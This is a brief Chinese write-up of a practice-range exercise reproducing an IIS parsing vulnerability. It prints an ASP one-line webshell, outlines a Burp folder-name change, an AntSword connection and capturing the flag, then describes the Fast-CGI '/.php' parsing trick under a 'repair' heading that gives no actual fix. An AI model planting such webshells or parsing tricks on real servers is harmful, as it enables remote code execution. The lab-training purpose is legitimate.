漏洞复现:这里直接使用墨者学院靶场
上传asp一句话木马
<%eval request("shell")%
burp抓包修改文件夹名
上传成功
蚁剑成功连接
查看flag
漏洞修复:官方并不认为这是一个漏洞,并没有推出漏洞补丁,所以这里需要自行修复,修复方法:
IIS在Fast-CGI运行模式下,在任意文件后面加上/.php都会将文件解析成php文件,例:访问test.jpg文件时,在后面加上/.php将会将文件解析成php格式